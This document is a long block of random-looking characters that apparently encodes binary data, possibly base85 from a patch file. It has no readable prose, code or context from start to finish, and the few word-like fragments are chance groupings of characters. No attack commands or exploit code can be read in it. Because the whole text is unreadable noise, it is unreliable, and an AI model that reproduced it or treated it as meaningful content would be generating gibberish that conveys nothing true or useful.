zPt2;U;$M^4y{9_#;DuFGzfO^{j$;}Qa}VNFLJPy#;#O{GPhkd%tCOaAq!x8n2dWu2 z!XK90&DFae6h5FNR){unpcst+l`sFC(Xebu5dIjbuEQGbrQB-X5yhG?-3P!nfq zs0=H2N_4)#E}VrpP}@bTv=K?V;QALasoQb1oX!3?yEpya!a&QAF~rxu3N|4k4P;kePdGW3GVD-Ep1W~ScG%rHZwaf?F>%J} z8af+7KYp(Y!9Da#QAxyWUsA4MCPa5xEk`xHfp6YQ12!ONo1Cy?l+)s!fjVLCZ11^I zn9903T-}%4eUo!>M)5jbA$P{1OBpcW~*}&%6 zT=tA=OG60?-C|-*c@JxjJuhohlFsVbse6uGs9gN5CXU{B;Am)?zE|e7@DJIH^Q4(7660eAFoSfpFa8&P7g!&}=bW-**PC(yK7zrN; zEx%bM6CH?Kn(Y?1h}wqR(wB54+N93PVw1y`Km9GuOw`F&B^ms*rke+A0k3l0!oEI9 z0p>Cx`IyMRwuv17tr-GjUwr`>(pnEW-DDRCXY!^WCjtLal#?FZyE}*GXZm)LhIPg! zZy)gfMiZPXcO!{QnY|m_Xze~iaja@C$M;}o`kxShmv2W4Fd)oq(2dw`n>xjk%5 zbVJ99EHzN+kydG3hWW_>ovrRF>hdkA?2va$#y1K?uHOi%N48XK$x&3zJ~)=Tt!k!NfnP7l6yo}SO^YQ%i=D8uMN^ex9x$m( zI=A_)kaBn63gye1#k+^YxQzUJ%5q1=I70dx5JSKOJbyctX~g(2AlFK6=#M0A3zx`5 zmOWrb8Q2aJ@|B0#N*2Tx&_eERNPD~72r(hZV7_Hb+8PO)i!8u)3BZ zALD)oRrFO|cTK)rEO}+=jOyQr4OOH1BzD_YY5GGjT*sWRW6oQb9-}#e3(=(=7j<`u zOBy!29r?Zb(@OUPmG`33`W_SsY=^i)V6(3VjG`HST;~lK>$mNDU{}rbCqED^JQEeH zMq1fV0o_CPd4ueb3F`-}6K*muMio`b?Z96kme`tESN;ADHdVe}9m_wE$B$^2k{$?TN6eb>y7?ibXDU;D1yse=`k|GKQOBIv1brfIrgWrsTl z=Oq>$?tXlBKyfYCA#)$O!5@wP18Kv7V)XaZZi!2Ozw*x*B-Yj>w)0HT~kYN zp!PKS0QU!=1okz&y{ILK+1fS4nPzv*r+UeQ|3x+Fb3}mwj3zd6VGJ!<4eRv4x21=W z)gAS}0~h|2epcPxW;5hpPLAH)Re9OPg!{9Yb^1MpU(fZu{_^-A{NyW4KbT`S=u$B} zf4Kv4g1^A$uPyawJlfDsTPI!tf4ofmYv|8v6#ISnfAE7~dYn${-{Lm8AhIUiv=HB$ zF&*-`|4StKq%8Nk4tX&C*{>`_K|u$7)UQ_dHar&zzr2vcAMa(>N`WbaQ>F@zQ(O06 z?hR0dqAzo0;C`eJevkbBB8_#yocrM6Kgr84#M8CXX!OU2wzR-^vS@`5EdI3n4ih&Z z2W^%rD7n()D!HJvDzsFpMkF~5S^EXasKuW$ozPWUG3A7H6-j8r#3(?I_sI~vo~|zX zTr71#XS8EqKRJ6WT}(|AlSA6uqT$Jf*w(`b=3E&|4a1s$L%p#VHgoo6*5W_wZupR? zyh=IFi6n>Y5$oF1!C_x)Y!cvi_4io9B?^ViT(VxN6u=;kNDerPFz6jvP#1nf#s5*4$kc^jTU=C^cmWUS41zKt26GOiz0Ck$t;ATn-twBrR>+$$D!X+%#_I?|EpLXI$?|p52Zw z8izfW3_2}VP28^!l}DNX(=wkuk?xlg z-Zw1wS?PBZM%FG-=$Bzbf!RnHAwxcjnG ztZ6kYmb|nm+PtQC02UIi!^Y5=HZx>p53>-Dg@u5->^+4|yQK5VSaQq> zSnL^UCSr$UBZkE>ZhrI{m&Xk{>9C|d5~{%*Hl^?}(Gf2loQ)A!P#z@oNa+fmGa$h~ zLEmU33vgFrpy2;we4cCj4i57tghxhLp&P&5%t=^Y!9J-N1OLM zcx@;?6(wMNYs;aBGmL);{2lOrVsiz4yx!({{bSY=u`@udx_QY4Nd2@w)9u- zXvdp_Ecd3!xF+D61%CFa(pfJdUz;cwyocgn=cTKdZ$N8^X}EzNHNN$>5vs0^U_-G4 z2QE6>)xYrSMaZII?QJZ(i_-6cmuT|=tNl5%f9&H6*f~_8*Jl@{&C_kk-bUiXO(7U7 z^Z`VRPS=(eTxBeIUQuR}oG)Xe&DL6u?QHRI>3Rbr zsp^kfS;l8c7&af*P2D4@$2Giz?_6S?M@v8TgTr=0i&lyrEyKFdlBw>pKL_7t9}ilr zSTq%ZawagFh?@(%+7k1ZmLU2bQ^#EyE|Fa?BY5!*x3(OaZC9}d5_^Q7pzTA6`)o*i zA#-x@ID1&OKxzUlURaba5OoqI*&121SM>%jkMaUh#h+d42wa2i67_9_Zp^2A zcKA1E2!_7hS9KJnyIuy{i^moG`R_T%dWRQ|a>bvAc%SG=ye~zXJFO!_v%|D4!~JjB z@hQm`sFSS+@lNOK>{AS2JWm zuBV0{_TrcGs^yBJ#s7oHv#5Tmw&m@HXCuji1223TX4u|v7RT>6LQ(&unk0t5Vze~z zC{fjFzdjtK`&vf(*ux*ETw6u^GF)4;5C|20%c6YB1Dsket4r*OhT9uHXZ)EiHR{$(ZeH2Rk}|3-j?H$9)q31&Wna5MAO%Y{ zD)Vc;%%>u$@%g6z)b^DgA(9j7Oe8evIer!mjl@@KMDiP1?sA*i^RrlG7R=m=cCrh( zfcgz`Dj6QRnt$L2p=l&U%`Z(Y8ou0a758u-9SYY3k<8iAY5mtXBm%280 zm~IAC*%JW_nWKBnk=L-jOLV?Etc=YK@g1&1T~$(M_d69HWr? z#suGe7zP<2jw;OzYF~|pN+oJ+-1X%2{@265!=qHxv%k$lBteAc;aBP@IlN9ke#dJQ zP7{&D*<+RW*p<*q9`(kE7@Hl%+HovdN#(+Wc6m{S8jL*-5@v#+`_vY*pwHN+HIP`K?^LK2{yE{Gi zWmN9VFukM-9vY59BHu#y$3L^~)HoDEC`InJXGj+vg0Q0W(yo=Pr@zUb{vx8kD$!q+ zxYAVh5BlSCOneGHZl5C^uVV7zG>G7P+^J&h#LUsex)bb%faHSJC9%|i)pe;VMwYS? zS5q^bG145Yf{$>0Tk`X!pP*TxW6dpWd?%8;qL@JFjeqVM9K)}TUufA1#-9sY(zE%k z*oE~rY|8_qG+FdT{y1}9dx2k$(XPNvUbKNHx}w#>G$~YNnIi8+YhdVp$0J1Gr$)jz z6gIw#{zo{Eb&ct)e-83r^b=af#-^err=R4vVhhKn#&&W>An~5NR76kz$|8vfav{c@ zHj@h#92=y7w0e$}c=cuO904(v0D31Q_>OC9Q~!w%b-+R!@H`99&UCA#LrAuXV0=sKDCCJx1Ov1(xFPIH+>i|c9coknGHZ!T&+a10 z9PSwK=Tmyh2iE3sE_CepV}EWzEOTM{*3H|E1UneI;F7BdGjjcX~mL*gL;{+M77S8g=A1;GG77sT5 z*Z>h;B+kwrq0Sohi>yD7Rilb+QVQ58Zs~7L`F3U>%L#p$F=R#b7`t4aLCxAk_dKSC z-PjBjqzWEWxHX&jZ@$V(Bvo)|2_KH4cDI8MIfLO6?5=cU#12^WKzWZBlaG_YO{I84 zxp+glG`cbYZgMI4T{r-Jpld7T+7em61|k9kri4GYm-xti@h^M<_;TicX>F!o)$j zO{MU@HQ`;8nt&U!33PcNe~cW@YCNz_H|41SYw0Mx>%vhNexPru7vKkRJ+YhsN@}kq zzv;2*@%^QV$viMY? zr7}@4eh7-J{OA+LuV!IvFmDvyRtH07Km~*iD9+5c` z&gbyDRKafD1bz%f{runcvJiUv8kTAGxdRuBpr^kF4uW5ZsK@rVofQ4c8PiCjbvIv- zfRcZ9f33~?RKXeFJeBhmwjnNgfJG;Ph*;x|IUEsB6^z_~_;1AwWL<|!5Eqb&ln*h< za)lVe1$O07K3LE}O(UrP71SG7^p>AQRbGJ7D78zt|9UmW8C1V4NtfmH)A#RO$*3Ot z>%sW6(+)DPye`=!a*A}`s19?bEE6pnUs=vRS6+h;s9j|sM`9eNQz5{FhQ6!pBDF{~ z*`(aW3mOoLKdG;&;mg)b>mG*6gnqDcv_5tZXVq_6Sy1*PSBVQ!x|x?)_@>?bG@jkX zVRBZAWh+lq{_YC8xy$=+azEPnv4oZOn1zr$m?k;9z^q(}k5_Ib<>sCuC?28`5zDL^!hM%XX=q7DaxmiI|9_UhpX!Dr zOKV><7|;s-|H$91zsZ6h%>m!9-!JSrKXM3g_?4f#A|Sv~-5~a)!^d9FofPhB8p_<8 zOCO=7rrhnNzzo8goKUndllTA1V=7QVnPWxbCVjt3JYk<20kEFz z`rNumgVBsmHD2hS=P1PB>B-*)@)&-@fv$TbkvYDkCY2g9;^%qRUz-2qV zR?8Y4n3rv&5|D0>u}W7rTH1v8ZjM+|u5P#w8CU6BZXYQ;Pj zBFQE%zFPeCC=}=#HY#w{+Va7(=XZpBlAi6#-&gzupWFT0-!1h^FOVv2&K(h?st4}t zq=2&tZwHWDjpUK1l!_T$N*UqfvKZ>LgIRajQRZ2si2 z(Zt`Q$yqqrJYSc*soqy5=Aa%6e$$H}2!W#a2kdvbj}Z%<3S>=Efh@xD`F(ntYcXk# zJFG}FPNCmk{j5uTP?t!Xy~;*1#?%sr(9}|w(_CM}n&`YLwO-5z_wdh=4MHt1!m7qn zb4(N1xU@$GTzT3F_@7PFa2N@SgZnf-qvd*h;Uu%fU%n?)L*=mJ$2W# zUWu}uIH$KdUqZ#HgXklA@n@exivMMXVaamDXg7 z&&T@;eWwHZo+VIGWEJF8mzoTr-e%7dTIGD3Jp}UIlg*(SrJ7Yz1Zd;W{fZ5RP$BwB z<_Q1G0fA7<7MdVU&}bT{Y=qy2!>XI-7n0V*-uT)~e`aUh^lJ(=x$8;R{F}*^reJ%{i7THAQXgBWQBLT)hn1N^hafq zQM~_$5c(^MSHf~D){Ex)?hX;pZAd?Hw|Xj|nE`D;)>tIarDwwj)5`%jiVEF@ale>| zC7$Wr+`=B}0|PvMm7jIn$D{gx44a3c3)KO=hg!tvM03KrG<**B-j~&D{>< z?3KFE9e9&ur@C)LL)~h#5Z%JMC_hgNmZbPqvqvTKbA052Fp1aA_ug^*YyCxo8y zSm!#Dr!%!eZ!GbbkHzp40fv9u1H=2lFab!qsD*imhr@!>8R?M&MY+pMr_l{tzE=v7 zTE|yqAL@Cq%x&o{niVQ1r&z!$9e~IIhoMh5{a@bB1w5+i>ibDZU_fx9f=2NYHPxt~ z!D~{8PBh4gP9&(U2v)HwqM{;XAQps#;WiydLu(bQeP3&}wYFM)YY}gi2y#(d5nC1U zRlM&pw&JB+Tl4+?d!I9zNg}nM-}AwfIp^%l+H0-7_S$Q&edCuVje64fHkx>6bn?=F zZKKV`W~N;N3wvBg!p%N3^T;jfu6)vY-JLfN>RrgpMAvV-1Tq{Kk<{&y4Ke-Mj zJntRi7`N=1{uNul^%A!B$?bL{IDH_LdMJ(w;#V*prQe^#MSOZ#>cdMnf{Pa(Y3-SZ zlyv^a#(fzU&K@YqQn~(h9&D_MvGbdRU0~7&siMW*a{COr{+1;|ffiCsu=xe^KA0#k zJ{pXNe`F02KXyK=BZz(MG2aq0jee{^o7FD1HQyp^t0P$waTm0yU`Ckk7$0JCMUoFp^?ZdSu-o38Wi*5_BI^K`9c^9h8xs<8$1qVrXRom4L z#QrOXS*fB)>wpwiIY(NAXmDyDYY^J-(z*iF#W7aAt$?^r-r>J-iRH8pws(XBX6jmmaHy<`?*3vI9k# z5Ss!;sONX{rgDCL<9iV?sj@dHOo zlltX|c&I^60G9gsg-f@@rgMwKH3ezDzfl$E1HhZpWExzh&sVcRhax}`)*q;@my*^D zQ-)O04?Y?0h|Dwp;J7*PtMo2uGilZjcDwmOBw%7yyPylEkK>T&xtmVx6Z zr#7dti8y2Rpw7R`{6|nj5<>OHU3*H`iF}>Dk#mZztOKNVq$+rCWF)IV)91fjolWuU zc1n+R>-hh~&t2M9zkbzMQNQ*~@+tCv?+C|6cz>K4yQcAqt1rX3jDtr>t4@jyZJ86g z{MsoO$I2$Q%;|s46|w!B=j?t-Y;U*6KUIAaI!QYY{2Vl-DbmWyZpt>eYPYbEo+)Ne z4tzm8R^1%bc|HNGkG2VKw4;}<(kYfj%m$j8`O9lI_gdu!KKEZDB^qB2C%;+hVmm(e zMbF%;MKDO6r5dRd)uvT}siHFj46J<3B#{2;c-pqPR%-Gi!RpdXOzal8=vzh8Cv=Pc zuA*sd(v6Y>Yf94-Xz*_Kb;y~U0@Oo3a*9=Io9hV9CsXlP`Ng~b#H-MR#GdiTG>1_z zwJ#TNE$6Lq4;sq|;m>?V_{Q4^5>A!Uj#+3}o$I3^v2N%}EVV(~v0O)& zCMZ_HuXLTo>`d%AeykAyn(3;f#VXJ$-wqCQ`G3=N zF>y{~Kav|T(~cP?2ZOEjncVa6n7w&?>$7S~R>_8#tU4qsh6z86DtJ!)+^{aU2eMU0x1HA2X#2U{_Jz`yg zw03hb1K3t|J#VXeJG-8HB{o@IkDMM3$q~0kQ-!y(>aw7wxpGj<_lvR>sBh!J{O;K} znBUzSxzNt>Kv!&qfR=tsJ-`3KjMMD0x>SS!H!GxJg|kmxE)I`MKWHp!*XFaaUoV_^&{r`Y;KBP!|~G?p~Woclf+CLTAvv47Z&?k`C>XW5V5XZ zM{D{Dd%n{;CuldVpfat<&C9&~fH$$$~*T*GbT@ZdD`Z zJ$Itm8>LeFdV+AX_bdDi`-{!;;;$&EFIg;oX5(WvbjU^k zF^z=%=mH9LP1Z>Yc#HrR($zAVi=DtAQR}g>kILo7X7zn7+oA}=NMf0fowG5gvmiuP zeX*Q+CF*@jCB7_EP!1y4NTnR~cAlL-NDq7`YtdXVxz011y0mPYoBVB)_Ggnf9(_YNQH|%G9bcB8xD`AB8N|GZQfDDr1qBflUTD<%cS<`6h4_L^$WA-?ZUi8E%Ug}=VB2=lMK=#Na; zcW9%}5WBo%5{m?yC@ODNZP_dct^Q2p%PiF_hLGMgsQQH%zu$WGT`4^XTiU}FaZCux{$L3eyxi-IzbdX zgLveo2No8=fg zHC z?cIQ+8A9PRLc35S3OT{Un%cQCg!nurY#2YVtjNBa#k^TP60)ljvle~t!}=&uhpl*l zbVgJVN0g*}rx_Mdhy1LRR;|uTsg(AZn`-SWCBgy*S`2xli-X(6obC9G;rF zeCu10=8lNBZ^zb+>_>k29q-^B-pe29mo~-%iwO1qXUF*x^U`18!pHXWT}O`8uLK|@Xtq-N zr4L6F_&N~uxhfgwhdq&_aTu#yhDIv4P3yf(&{ueuY)Ncj!e5S){Li_LWWV^^eQd!m zzdP^s@K2VnaOtu%YVNCBAG82q@NcYEqaZQ*LDi#a*c+ZaCltNp8S7?e)qb8jz`W-0 z{7pR6DNG3Vj@$LQ%7K>Djv{)n1m_#hT#T}d?;O}z%I`igmZ=|bH`gjY#;1Q(-l&rig3VI5}XURIfs-@>xd8PK@NSZ6EZ4jcOPN$-Nln!ro#p z{=v5PB6qz|coCN!ykq{g;f zWhpg7Bt#1l2XnVe8GDwL#Y#EmfBb$n)Y(4lU0`-2i}~zU2+wUK!Wo+3j@@RFTeI#< z>!-HSKwTGFrmlf5)bpBcBq2 zSLZ!lsw$!qQt*gV-c02IzW>w%kaeUs1TS)l*pMl)HNn(nw*7u)g!T;2*+q|0A za*OXRVE-xEWS9y?Ymf4@y&9**()+eq!-O?lrQy{3!YcXXN?U@wvVS3f{rPLcH?j9g z9ev}T=uqdr`5Pf;Bu4z1^EVs+V5^tLio1N!kPpT)R5+K-25bt#C(3vWTP@!byYOvn04qfE8+3Yqz7!c*}WQE#&#c+?k12X;cbr1sZ z%poc>IhlqT4{ks*4>DI}(NACMt5}EM9H;*#N!lhz|4mTAQ-ng3Y`$i};$y6W8_ch6 zbZs8#=8Oh2c8#slFYcvEcO#`4MMbI@2vmHf>h;G|sd-Q-!LETVs>F}Q|2cE6G?HHg zn@5=$^TMZcSV7dD7dN>gBbF^NtjxT<+7^4{8$ma{&NmVwmOrM=SrW5mgBJ90 zek1`DUM45nJ*XhtzYXq!lKH5m6CwORRcof5nT@h}PVuT1-~REjP$?2PbB4uYURg6A z%2>|f73L?>cn^`(9HpNHYx()Pa#BGPsGvz~=~Vv@Kb_2(UO)1yO2jxxOOM8Q>OsDy zAC%koV`96;9(1@}U|V@McQ5W%fHgYWf16!|T+Auon>q6^O3SmJncT0g+H{LO_HPOm>(7- zZrqaoe6p;WteK7_fS;}ZQBZFACtk1QVn44tCy`5&D~7FKxY)u@IpK5iIe0JS@)1HD zo8))3Sm72CRvIOVG0EFBf($?YS^qdkns5feD3V?@1xw&xK6@JXgZNU06k5H+ae#Bn zH6$ZGns`@LY4rsf8n=X}_GLK#H1haU>Mp1GB>aDAC7Ve8|_R6sihEO8+gfPX?^^$>gz~ zY}lO%O=4FA-WGWd#@1D>3*W4}3T*wRFW{}Gc4Yf2&3~noU%DluM{F~W`@DGtrrLgt|9TX0b954@BE_*lR-3pIE+oiUaKTWeV4i;zYmaZfH=gm3qnk)Pe1% z*O=&R$Bu~Ynj}f3)HPm?VI7GtIn47$CT1|Ve*BO}&6`TmvAh7s#?aK2PqV9@F3H-ZQw0boDn&dNKYnl{1+(M*luVI!a{7 zW8^$awHohSAnv;pnoQd~VMZ-9U(X7UzOtMqP#4E~sWFGwCTsTRe$%-)eg`BqOa)FbV=Mu z<}9Z1b7%mXDKvu!Fs&pqyD4R==-ihBt7eBa6KMF#8ZqtqOcnhy7Fac}696xUXoBX? z&jO*&FKbe=#5N~Wa=j|jKX)szXC^rlY=YU*-#s5P3=EKer;_{k=HK-q8dWYDl4|XCHB{C5px@8nKT&m2NJ0|ifzxMw-Pyq zka!db2dL;-F1=IXi;U)isX6l61}UlH4fG4kO!-2|cg~SzmXu&`WKZhY97ikbLbBDv z_S%vzN;m7%+FuiCyIHhHlV@N6jDwaRP{UJ8*(O&WO@2S(B~J~pvS#`a?H<4-T39CD z=oVS^zvkiRB?jtA*ji6LjisI@xQiOiKX6vHnoky>1XEe1`{xUgGS@c}rIP1&OlKde zE5lwvxrSqRTv3_rmiDC5*UU+_-!IC zbb;i}M+v@8py38Uxv?8?`wfa6jQtd8{<3dl3BP+b?#b`&js2+}I8gy7Dp$yUP=^}d z8IGOoJ(igSuL{MEX=!qk--k_XY0~8Pfz3@!ewS#N-oP=~olJG0GL=F_6}po)ai10+ zZNA;Iqa(L9(Mgu%&6?mk@A&r6tP=0>OwlMo`u@FG1G1`pk1pZEw&;$6Qja{d_a;$n zkMPnnL(SW3rt&i`d}~|#037~(tsUN8Fl?>d00F7lWM|}|6ZMeQUa+o2b-u6ad_Sun z$Ir{Ia`}>B0V!1F`(a-V{;HnYH8WTL{apV{g=@S{{a12?J9U|OF8uhX{o~vFP1~1l ztL@!FFLgq{bH*cMBaWjxI4;!M-rrhKOndy`x?`E`E{sLOOCNfOykf<$R_b){)IA8d zS8kB(_SN)H`+IF40PBD^zh_|`2&@CS8>>)vV->2Vqz}1w1&^JyU`1n5e0#6h*_?uP zACU7JJyZ5nHyuc=(m#0KQ7uZO-GIv?qeh?d(~fAJ9Ee*#^4fMB;6gKZztw`u z_0<&2^#v>aT8}+rw*0&gxZFM>IpFAJ=dqCbyUZm0)Nb?qk#q)ExfZvj3*tKp9=ARG zY0o8|_m6H^E*PlDb8vYya-5pA2c!6zE+`vfVoSkt9UL?5you@xQv+J9o_`sI#{BBf zDlpaIOX$>Z6eCmr(zdLV45KCAE$APTgdZKZ8rPgwV0&|4{0 z$b8sLCUDUG&R^?%Q=dQC`Zak5x0!LwOx3BOSRbbmI9+K?@ZR4w!1(sw?uxquEPf1a zhtQMiIwl4Ydx63b^zIGVo`D)MXZ`^u{ZjSa#+$H=n0**yi8&Dl)ogz|y`r%yd$e5; zJJJkP;#AS~4>RC65uTV{$ehNvGc!;gZpX}Jt~HC}Fngyx#w94;@#pY4{~>>Fcm2;K z=^x+!mmE{hL;zlqEsc9I^*?Pl-ZW&^uni((4B3q@5lI;^q zt1-lpQPX?rutBnvn({|1t;akgp$K)b8jqyRwx1<4?M{N;AgAjnIs0 z*8II6Utxy1_$wdrEoaxhp77(#%^oiPmsgVC3cuFpnmdR$dxMd+8$HSBSP(}xi~Jud1ek zbDFAZ%JJNAU48Fm2SXj!--=};^s?+^{W_hJ{ptf`Nd*;5nFfqK6UhE%Rf~; zg;M~B{|N)I@t~|h1smrXY((sD0|%aAsA6Nc*Qg_-w?y8}sE4f-PktFmvvV9LvZO_- zpv2rL9lG%M{M@ZX)EjP%HpNle_R<@6)4|#U*Dzv^Jt&4ufPHcfTiEM#T;m+cNV&O0 zC}*f+5L+yH=_P?_>(g=V4Z*Y zcn5H8*a+*X(fY}%m%}$+qwH{|Sd$$0>x0o~v(QS`lt^;UP^DFxPtHYcqUzD|kyhGN;KTxI*$ z^o4nOGweZL(Zm+7>fz;J+Q_D@0Utkb0+)^RvfG0vP{=SZS-pKNMkeR+Xzaa<1tNIrJ&uhGr`w=Wk`_?6=vm|S4#*gk*{V~98 zP=k-#plf-dilc(cLqPw0yHNDIEu7XyY9Loe#g!B7pvt}v%oo(!_^&hyUt)THRhGh9ukMug2 zeBIz}-6*p<{%*dP|C+tcBv7P6+ws~CX@;#eFJ#a)KcC^_m!6R`B+aP>R5}IbH*!yt zw@>_SW}4bQ(fDcxZooko?W>F9Sb4CV^D5)ZBl@Y-PlJ9~D&T*1hE=G?$u1zLezRmu z<%<3-ZH0{k%qvKzmpZdUu3)COH)iPKd`iyaoxgV0x57)04>8y|I#wia9U8JMZAvz5I2#ypyrB!Q632P`_r%^nhWfXBg)2 z|Dlu5Ec|U9%6@x7s59p=+ONMc`^4WlsCmc0#-nWi)VyO~w(%ruD$II@CK zLXhC$oCMCfSIQbPHUe&7b+$*fw zpR7hJ2omvDdm`@--W;E2{`%Pt)ZqcMc}GpIt{JMEo+pTZgKKwo(3>CRC23$NWS40q z30?m_^9vTrU|1Z4BV>~K)32?bjs6<#Dbo`F1ziKWZi3vSVZUF#f>^m-1^*7>r3_2W zr|JY!MJsi+z}9`uVZJ{IWW(@BW6L>jZ~_DXH19ANxk4)eP1z#2Gjo zZS&tuG77G6j=&(BM)q*IRolY@ce^Y5l$RgXF#Gh`Y#13e_OmGaXwcQLp{M4f!L z^dz75`~(grvi;7v4G5`!fNqYENmrk(2ADQ|b`9}N`PUPFdbH@;sB^Ws(QsQJcu@QlP z?-MKVDc&jZm6M&oo0KihN_vG$JzlAA{Zy&tou;}kG9UiZ*6IDf4C?e1D#5Q)bL4|I za^XZG?cBm+szG8)OxQ)eqrGrW!jXT~-`>BndBUS%VpA6Sv{J-8BiHnc8M!Vs7dtGj zxEg3yt{eP<%FQnyu<$ltOOzGr6a1)BlO)P4Kvc}nl^?t)!OF8}OTmm}i!aKy{~LZI zsnm{CNu}oFdoASOX|0JB=Z(-5kbaCSHX_fFWLfh4glHxK<3AVs@%M<8Bs=-M!;h!^ z{}!Y^h7+cbqwMj+d`UJ-lQ}|s`IIanPM^Ok33l@PlB6Q%{JTJI@2rRAoMT&bT)V1x zGIAKVr$1W_i~XD}zUe@GH?{W}w$|cLe0csEsF6l3p^1%kVpFz33NnKK;BQvY^i3&O zkFbI^)|6FCtg{8}v)2%`p;jz?LA%oGr+X~Jhu#w~{7TpeKgXg_Eq_r>04}+dcq?va zh|MH$=X04mT>LfKpJ~nUBZ)WnI;j5@MWNm<>^mvP;J*Aq`pm45T}k1_U)b{B)u`S| z;d4}@t#DVrgI)QTNlL9K-tWhky7-+^U0aYUvxjg3@jxDZ{w@#C{{bB+G_IT-=-6K- za^&H>YqI5`Z?-9&YdJG$98rdxH}+f+lX_4}@^;i8TY=U}sNAhq}MhtY#y^zwJqYM?dEqLRz)&J9+CE8;SM{H2Dba zorEvG3L&_WpHAw7{>LsE$(>`O5_h+pD72NivArayM>mONF;+e9{EDh{{tYTLeB<+7 znUPDtTb6(a5rBiZRplVjuL^K7RL$sRAo&@Dr23z%NlkjY=NkJY`=5-$97s2XAAhqM z$Yw8dEt*OMI}9wdR?b#5 z$DX3d{Xj`#+ABScR$`)8!o*Shv`Qgyzr*mW{I-#PIJ;d00)~8{goc!PDgH7I!=Bwn zKzwD0L)&!W591o%jtAN4G>8+yxsJc<(T^RoPUcE$5M5rA_%!|j4PuS1R(|<|=)tSJ z{LgB(w5dVp6zjgtGYc-t@*epGm?c-_)_H)No_2j1Y;)_&9w~wt)|bgnNU$!*+6(?O zUj0cOoMw- zb&J1}%s;UxRrLJmp#=MT^yuHl?-x>G}&@B|Y$Qz$udv7foWd%2@eHVOG zD4gA*k7$zR!OwYHUuQ<vvsWfWWs&e#`IKWjXy18i~BWx z!-da^MZd1Y>}QCY*h3VZuw$KitncC$Jm5pUCaX8=QT6JydeO0n+~m2FJgj!-QhW2# z7rIG)z;mRESMT+|cqnwgT+#h}>vG%bpYviSlaJYIdp|$`gfbF?k^-I@@p-)ZwKtS? zke4X@Tnn|9tDwYOq1%3l8KV3wO|zk?+pNWiw6Vu|PYaoatN$a~wG2wMvnJ9~htqb_ zu;pocQD)#x#+sa>64uys@H_yV{;>v)U72q!&JG4&t`fbk%&rCDcL7sN)r5n#nN5n~ zh)c~ETn+0+CilO+K6#hWXE9%_fBhvJ>w7JcUCVx`RMF{?q14{HwTypv9>0^FjwL~< zI`VP}Fl)F1%r?oQZ`TiH{6;E!GQUzb6^kmRf@1kEqTIC;ty(?pXh{}JDvB0tI7YR` z{sJ@j^DjH1sne)tm&GpdvF@T5wKnNK;g2R6E1yaOi^{2>lQyb?`gnvgej7y|l6RIhlh4^dCkZoqkx~P#!Y+Skz=ieM>j2^YV~eXw;ns-s63ZWU z-*PIA1wi`(bh_Erhena|xA`)``bk&ARIOLFEu1>k<|b8g!~(Fbjb5@k+H0&5N5hEEf--EixGu?dbUubLeU6zGr0q#7NC$$WPYl;L?mi~ zyO808nS0{Sj(N0%z9Q6-X>&m4FxfL)TMH!$GBa4VkltT`m_IBuv@}|tu-a;@SGD7>#kRk{6ks$jO%8rm&=mCs@ z`=~a>9-A8|$|e8$y70V104)Dp;(0uD;iXgeiGOgAzy2dq`RDNb&FFr7D1#S8%l0!r zWExT8vrTM97fcdR0W(t+g9stb&vSm5u26Bw%&p_JNhxN>*FHO1R*Fmb-+YwJdLQmx zg6o6S`VkA%Z5w5+K4Ho&{LU9?;dze}W7lkS z{27N~IJ`iY+$&%(%=F@`@Opm9P39lV6Pqf!Hzd#J=1gsJMS!-M+nP*XXc1EN0sjtU zleuDcncnDEU0p=kY|^STSjUo?&C1~{jP)fYIh7HK-=eB!RN9?itX)=#7iCH^$64F1 zD~LyInc+ugAFEEmicC#a)3Hnwr~)26tD+|SXj8?+suyF|w6Z?wtbv$I`Hg*+c|^At zEvw{#&h72_`+^p33Q^}ZY%d$K5KW4=LqSIK6g0|m1WWQC_x~rW3pxSqx0;By6Pg1 zdZjbA@|SL)ZFEPbdq^j^o~zpY4;wXUBifh80j@#aol4#Lm7N^NyHgrwK8d?CAd`t| z&1CAV;)d>-)c*cWuKl{_B2$K&@a9e@m{sRQVl%zuX%%La&aBE+5t;Os`-drkxR3sM zK6ZRI`>*=0Wq)ZWUgILZnsMy|0eBpF=+5EpA1{(;8~Gi|DNKWRU94Y1hov? zLt-c!(MDk98Og%c<}bPcD2wG|#oh@j(xy)yk8!=(JZP^8in4Jkvp+;y?PMX7rLI3b zSDQzhDZuub2U%R%aUm6Di%r(Pf-Ur<5Bq{w`S1nvV^%Ln9c~bI0SYcp;dAEiUkl4M z0haiOBp{?trAxrQG}NW@x7=#q?j3EHBJ5?kp> zwSQkiCUFEN$$U#9g60x51f?9 zBvS1}Bp^!2&=>)6_mL*|x3Y4GpLUH+%kddJ&DFXY2r*l(Kn(=cVJd|=M=`d-B~e>! zyzShT)coXZ*Gs;saIy%P#ouhy`lBqt?S$B7S0+h{1yMbIwj7)WMC1ceK#htn)1NaXqe~@rfR>D@^&0lRQtJkdA1OR2A{~e6u1A(4@=Kr;{^ehQ0 zFwCw0lV@NyhaaU23_q$aka}^51ihc@64e4_zy-ZA`g6?F zqKTJu%+0ue*nZ`X?tJ~ggVk~d;G^f}bMJ^R)x(xXQ(U{@N~vqxehU7{X#Q#q9xk4FwgK7scBRko zj3iPIO;&%bx#2`?`)4rpr=2Q&>A@TBc7->~#sA^hcXYcCb!ShH^~R{vgl=GE?Ka+Q z{n-!mh#uR`->{45or?3!p#&&?X3F}P_x}R_@qrSxD{s{~5VhEan+`(0#{U?H*V3E$ zdC8@`y`7W?kkYk}nbQJanA#h|yeJbfhmCbYgWgpbVqKD+`g!-!$qO&!`d>wVshZPG zw^EfF--PG>S~A0QHuvAUbpYPM&*KRSFVLX|%!+Gq_ww-Ev-#p}6W$YiVd0xjwXwA& z`6HUcb5G!7#M9x0LwREEwtdh$zUh>{o1s6xZBFA5BOzI-(A0Q@TiHtzubpKNSxNr4Jo&PS_CeUz8@2jR94`p4fnrR|;G zeLqv_>n#7OJ1`c*H{C*#RBIk9Cs-}6kOgxI0jFM_4qQ;#HtibF=rxNnmo zX9kn2^B|B698J35Q1~BNROt(JP`2d{n~`D14DM#wnIB&8H*zGlw{`T6zqp(X@wZQj zuWerB<=c$`ohXv2qZnFH0~wCa=)<-ljQ-sf3B=Q#e;T+2;RTC)xc%cVZUS!Nxwh@S zGr(b*EMeG1JHSAfRjFyDXIx5<$INHm@_2d<6X9Gq|s?FZj$<3uktw$w{aDd9+_3DJ}{DPG;U=0cn@{qdbNX~R;} zg!W1~trKr?&NYYnn#;6!Be7Ml<9LlGR_k@N4SiLwwf6PJy2MLDoNYH+c^61VT`F3Z zU-twR+0k(dxvMsWuNKa|qlu={_MbUyxrZalR>v8QLXm4&Uu>VJ>~6*^UVW3z z!KDLDCFx1vVl!>6PyDGKRXdkVjM24OTQZ5I^@23)jc 